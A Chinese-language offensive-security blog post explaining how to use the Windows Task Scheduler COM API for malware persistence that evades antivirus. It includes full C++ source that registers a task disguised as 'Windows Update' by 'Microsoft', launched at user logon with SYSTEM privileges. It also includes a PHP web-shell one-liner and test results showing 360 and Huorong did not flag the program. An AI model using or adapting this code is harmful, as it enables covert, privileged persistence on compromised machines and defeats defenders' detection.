相信大家在做持久化阶段的时候会遇到同一个头疼的问题。免杀倒是很好用,但在进行权限维持的过程会被杀软检测并且拦截。本文会详细的讲述Windows API Task Scheduler部分在做持久化的时候需要调用方法。杀软这个东西确实很坑,免杀好不容易做好了。直接执行创建计划任务还被拦截,真的是让人脑壳痛
0x01 什么是 Task Scheduler
Task schduler:任务调度程序,可以理解他的作用跟Linux下的Crontab作用类似,但是要比Linux Crontab强大很多。不单单可以执行定时任务,还可以根据某些特定的条件来启动其他应用,发送电子邮件等任务。支持的条件触发如下:
发生特定系统事件时触发。特定时间触发(每天,每周,每月) 当计算机进入空闲状态时触发 注册任务时触发 系统启动时触发 用户登录时触发 终端服务器会话更改状态时触发
有了这些触发方式,再也不怕马子掉了。。。
0x02 关键点
2.1 IRegistrationInfo interface(注册信息接口)
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-iregistrationinfo 使用Windows图形化创建任务举例:
使用Windows图形化创建任务举例:
关键方法
2.1.1 IRegistrationInfo::get_Author
HRESULT get_Author(
BSTR *pAuthor
);
该方法对应设置计划任务程序的创建者
2.1.2 IRegistrationInfo::get_Description
HRESULT get_Description(
BSTR *pDescription
);
该方法对应设置计划任务程序的描述
2.2 ITaskDefinition interface(计划定义接口)
定义任务的所有组件,如任务设置、触发器、操作和注册信息。
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-itaskdefinition
关键方法
2.2.1 ITaskDefinition::get_Settings
获取或设置定义任务调度程序执行任务方式的设置。
HRESULT get_Settings(
ITaskSettings **ppSettings
);
2.2.1.1 ITaskSettings::get_StartWhenAvailable
设置是否可以在计划时间过后的任何时间启动任务
HRESULT get_StartWhenAvailable(
VARIANT_BOOL *pStartWhenAvailable
);
2.2.1.2 ITaskDefinition::get_Actions
定义任务的所有组件,如任务设置、触发器、操作和注册信息。
HRESULT get_Actions(
IActionCollection **ppActions
);
2.2.2 ITaskDefinition::get_Triggers
设置用于启动任务的触发器的集合
HRESULT get_Triggers(
ITriggerCollection **ppTriggers
);
2.3 ITriggerCollection interface (触发器收集接口)
提供用于向任务添加、删除和获取任务的触发器的方法。
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-itriggercollection
关键方法
2.3.1 ITriggerCollection::Create
为任务创建触发器
HRESULT Create(
TASK_TRIGGER_TYPE2 type,
ITrigger **ppTrigger
);
参数如下
参数 | 触发方式 |
---|---|
TASKTRIGGEREVENT | 事件触发 |
TASKTRIGGERTIME | 时间触发 |
TASKTRIGGERDAILY | 每天触发 |
TASKTRIGGERWEEKLY | 每周触发 |
TASKTRIGGERMONTHLY | 每月触发 |
TASKTRIGGERMONTHLYDOW | 按每月星期几触发 |
TASKTRIGGERIDLE | 系统空闲时触发 |
TASKTRIGGERREGISTRATION | 注册任务时触发 |
TASKTRIGGERBOOT | 启动触发 |
TASKTRIGGERLOGON | 用户登录时触发 |
TASKTRIGGERSESSIONSTATECHANGE | 会话更改时触发 |
2.3.1.1 IAction interface (行为接口)
提供所有操作对象继承的通用属性,由ITriggerCollection::Create创建
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-iaction
2.3.1.1.1 IAction::get_Id method
获取或设置操作的标识符。
HRESULT get_Id(
BSTR *pId
);
2.4 ITrigger interface (触发器接口)
提供由所有触发器对象继承的通用属性。
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-itrigger
关键方法
2.4.1 ITrigger::put_Id
获取或设置触发器的标识符
HRESULT put_Id(
BSTR id
);
2.4.2 ITrigger::get_StartBoundary
获取或设置触发触发器的日期和时间
HRESULT get_StartBoundary(
BSTR *pStart
);
2.4.3 ITrigger::put_EndBoundary
获取或设置停用触发器的日期和时间
HRESULT put_EndBoundary(
BSTR end
);
2.5 LogonTrigger interface (登录触发器接口)
表示在用户登录时启动任务的触发器。当任务调度程序服务启动时,将枚举所有登录用户,并运行与登录用户匹配的登录触发器注册的所有任务。
简单的来说就是控制用户后登录触发的登录触发器接口,通常是定义某个用户登录计算机后触发的触发器
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-ilogontrigger
关键方法
2.5.1 ILogonTrigger::put_UserId
获取或设置用户的标识符
HRESULT put_UserId(
BSTR user
);
2.6 IActionCollection interface (动作收集接口)
任务执行的操作
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-iactioncollection
关键方法
2.6.1 IActionCollection::Create
创建动作并将其添加集合中
HRESULT Create(
TASK_ACTION_TYPE type,
IAction **ppAction
);
TASKACTIONTYPE参数如下:
参数 | 含义 |
---|---|
TASKACTIONEXEC | 执行命令操作 |
TASKACTIONCOM_HANDLER | 触发COM程序 |
TASKACTIONSEND_EMAIL | 发送电子邮件 |
TASKACTIONSHOW_MESSAGE | 显示信息框 |
2.7 IExecAction interface (命令行动作接口)
表示执行命令行操作的操作。
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-iexecaction
关键方法
2.7.1 IExecAction::put_Path
获取或设置可执行文件的路径
HRESULT put_Path(
BSTR path
);
2.7.2 IExecAction::put_Arguments
获取或设置与命令行操作关联的参数。
例如 cmd /c 程序后面要加的控制参数
HRESULT put_Arguments(
BSTR argument
);
2.8 TaskFolder interface (任务文件夹接口)
提供用于在文件夹中注册(创建)任务、从文件夹中删除任务以及在文件夹中创建或删除子文件夹的方法。
https://docs.microsoft.com/en-us/windows/win32/api/taskschd/nn-taskschd-itaskfolder
关键方法
2.8.1 ITaskFolder::RegisterTaskDefinition
在指定位置注册(创建)任务以定义任务
HRESULT RegisterTaskDefinition(
BSTR path,
ITaskDefinition *pDefinition,
LONG flags,
VARIANT userId,
VARIANT password,
TASK_LOGON_TYPE logonType,
VARIANT sddl,
IRegisteredTask **ppTask
);
这是创建计划任务的最后一步,执行到这一步就开始向系统注册计划任务了。
参数很多 返回也很多。
参数一个一个的解释吧:
参数:path
任务的名称 可赋值为null null表示为在根任务文件夹内注册
参数:pDefinition
注册任务的定义,通常调用任务生成器对象、。
参数:flags
动作 | 含义 |
---|---|
TASKVALIDATEONLY | 仅验证 |
TASK_CREATE | 仅创建 |
TASK_UPDATE | 仅更新 |
TASKCREATEOR_UPDATE | 创建并更新 |
TASK_DISABLE | 禁用 |
TASKDONTADDPRINCIPALACE | 不更改允许的访问控制条目 |
TASKIGNOREREGISTRATION_TRIGGERS | 忽略注册触发器创建 |
参数:userid
启动身份
该方法对应设置计划任务程序的"运行程序时,请使用下列的用户账户"的账户
在持久化过程中,可以配置为system用户。这样木马自动被触发后就是system权限。也可以配置为administrator账户,根据实际场景配置。
** 参数:password **
启动身份密码
该方法对应设置计划任务程序的"运行程序时,请使用下列的用户账户"的密码
在持久化过程中如果使用其他账户触发时,且该账户有密码。请完善此参数以便获取触发权限。system账户此值置空即可。
** 参数:logonType **
定义用于注册任务的登录类型
动作 | 含义 |
---|---|
TASKLOGONNONE | 未指定 |
TASKLOGONPASSWORD | 使用密码登录 |
TASKLOGONS4U | 使用交互令牌登录 |
TASKLOGONINTERACTIVE_TOKEN | 在当前会话中运行 |
TASKLOGONGROUP | 组激活 |
TASKLOGONSERVICE_ACCOUNT | 使用本地服务账户登录 |
TASKLOGONINTERACTIVETOKENOR_PASSWORD | 先使用交互令牌,如果没有,使用密码登录 |
** 参数:sddl**
注册任务关联描述符,一般置空即可
** 参数:ppTask**
传递对NULL IRegisteredTask 接口指针的引用
0x03 实现
编译环境 Visutal Studio 2019
项目属性有几个地方需要配置:
1.代码生成运行库要选择多线程,选多线程dll需要目标主机安装Visual C++运行库
2.语言选项内符合模式要选否,否则可能会编译失败
废话不多说先上代码, 感谢微软爸爸提供DEMO。为了让大家都能看懂,代码注释已经写得很明确了
// Tasksch.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。
//
#include
#define _WIN32_DCOM
#include
#include
#include
#include
// 引入计划任务头
#include
#pragma comment(lib, "taskschd.lib")
#pragma comment(lib, "comsupp.lib")
using namespace std;
int __cdecl wmain()
{
// 初始化COM
HRESULT hr = CoInitializeEx(NULL, COINIT_MULTITHREADED);
if( FAILED(hr) )
{
printf("\nCoInitializeEx failed: %x", hr );
return 1;
}
// 注册安全性并设置该过程的默认安全性值。
hr = CoInitializeSecurity(
NULL,
-1,
NULL,
NULL,
RPC_C_AUTHN_LEVEL_PKT_PRIVACY,
RPC_C_IMP_LEVEL_IMPERSONATE,
NULL,
0,
NULL);
LPCWSTR wszTaskName = L"Windows Update"; //设置计划任务名称
//创建ITaskService的实例
ITaskService *pService = NULL;
hr = CoCreateInstance( CLSID_TaskScheduler,
NULL,
CLSCTX_INPROC_SERVER,
IID_ITaskService,
(void**)&pService );
// 链接到任务实例
hr = pService->Connect(_variant_t(), _variant_t(),
_variant_t(), _variant_t());
// 获取指向根任务文件夹的指针。
ITaskFolder *pRootFolder = NULL;
hr = pService->GetFolder( _bstr_t( L"\\") , &pRootFolder );
// 如果存在相同的任务删除该任务
pRootFolder->DeleteTask( _bstr_t( wszTaskName), 0 );
// 创建任务生成器对象以创建任务。
ITaskDefinition *pTask = NULL;
hr = pService->NewTask( 0, &pTask );
pService->Release(); //清理Com
// 获取注册信息
IRegistrationInfo *pRegInfo= NULL;
hr = pTask->get_RegistrationInfo( &pRegInfo );
hr = pRegInfo->put_Author(L"Microsoft"); // 修改你想要改的计划任务创建者
// 创建计划任务设置
ITaskSettings *pSettings = NULL;
hr = pTask->get_Settings( &pSettings );
// 设置任务的设置值
hr = pSettings->put_StartWhenAvailable(VARIANT_TRUE);
pSettings->Release();
// ------------------------------------------------------
// 获取取触发器集合以插入登录触发器。
ITriggerCollection *pTriggerCollection = NULL;
hr = pTask->get_Triggers( &pTriggerCollection );
// 添加触发器
ITrigger *pTrigger = NULL;
hr = pTriggerCollection->Create( TASK_TRIGGER_LOGON, &pTrigger ); //TASK_TRIGGER_EVENT 事件触发
// TASK_TRIGGER_TIME 特定时间触发
// TASK_TRIGGER_DAILY 每天触发
// TASK_TRIGGER_WEEKLY 每周触发
// TASK_TRIGGER_MONTHLY 每月触发
// TASK_TRIGGER_MONTHLYDOW 按每月的星期几触发
// TASK_TRIGGER_IDLE 系统空闲时触发
// TASK_TRIGGER_REGISTRATION 注册任务时触发
// TASK_TRIGGER_BOOT 启动触发
// TASK_TRIGGER_LOGON 用户登录触发
// TASK_TRIGGER_SESSION_STATE_CHANGE 会话更改时触发
pTriggerCollection->Release();
ILogonTrigger *pLogonTrigger = NULL;
hr = pTrigger->QueryInterface(
IID_ILogonTrigger, (void**) &pLogonTrigger );
pTrigger->Release();
hr = pLogonTrigger->put_Id( _bstr_t( L"Trigger1" ) );
/*
//设置指定触发时间 如果不设置 代表任何时间都可以触发
hr = pLogonTrigger->put_StartBoundary( _bstr_t(L"2020-10-30T08:00:00") );
hr = pLogonTrigger->put_EndBoundary( _bstr_t(L"2020-10-30T08:00:00") );
*/
/*
// 定义某个用户 登录时触发 注释掉代表所有用户登录后触发
hr = pLogonTrigger->put_UserId( _bstr_t( L"administrator" ) ); //某用户登录后触发 设置某用户
//put_UserId 获取或设置用户的标识符。参数 BSTR user
//HRESULT put_UserId(
// BSTR user
//);
//put_Delay 获取或设置一个值,该值指示用户登录到开始任务之间的时间。参数 BSTR delay
//HRESULT put_Delay(
// BSTR delay
//);
pLogonTrigger->Release();
*/
IActionCollection *pActionCollection = NULL;
hr = pTask->get_Actions( &pActionCollection );
IAction *pAction = NULL;
hr = pActionCollection->Create( TASK_ACTION_EXEC, &pAction ); //触发程序执行:TASK_ACTION_EXEC
IExecAction *pExecAction = NULL;
hr = pAction->QueryInterface(
IID_IExecAction, (void**) &pExecAction );
hr = pExecAction->put_Path( _bstr_t(L"C:\\windows\\SYSTEM32\\cmd.exe") );
pExecAction->Release();
if( FAILED(hr) )
{
printf(" 无法设置程序执行路径: %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
IRegisteredTask *pRegisteredTask = NULL;
hr = pRootFolder->RegisterTaskDefinition(
_bstr_t( wszTaskName ),
pTask,
TASK_CREATE_OR_UPDATE, // 创建并覆盖现有的计划任务:TASK_CREATE_OR_UPDATE
//仅更新:TASK_UPDATE
//仅创建:TASK_CREATE
//禁用:TASK_DISABLE
_variant_t(L"system"), // 启动身份 system 或者administrator
_variant_t(),
TASK_LOGON_GROUP, //登录技术 组激活:TASK_LOGON_GROUP 用户登录后激活:TASK_LOGON_INTERACTIVE_TOKEN
_variant_t(L""),
&pRegisteredTask);
if( FAILED(hr) )
{
printf("\n无法保存计划任务 : %x", hr );
pRootFolder->Release();
pTask->Release();
CoUninitialize();
return 1;
}
printf("Success!成功注册计划任务 " );
// Clean up
pRootFolder->Release();
pTask->Release();
pRegisteredTask->Release();
CoUninitialize();
return 0;
}
0x04 测试
环境:server 2008 R2
AV :360安全卫士 360杀毒 火绒
360测试结果
火绒测试结果
运行后自动添加计划任务 杀软无提示
后面就被喷了。。。。
首先他说杀毒断网可能会影响主动。
测试如下(全程联网测试):
首先用PHP写一个简单的命令注入,模拟一个网站存在命令注入,360拦截情况
<?php system($_GET['a']) ?>
当执行增加计划任务时 360会提示cmd正在运行
当点击允许的时候 会提示计划任务正在运行
这时候换上我们文章内的程序。。。
杀毒检测:
PHP执行后无任何告警,并成功添加
在发两张GIF让大家看看效果
另外一个vgif超过30M传不上去。
0x05 参考
ttps://docs.microsoft.com/en-us/windows/win32/taskschd/task-scheduler-start-page
实现源码以及示例程序:
https://github.com/Onlyw0503/TaskScheduler-Bypass
作者微信:Onlyw0503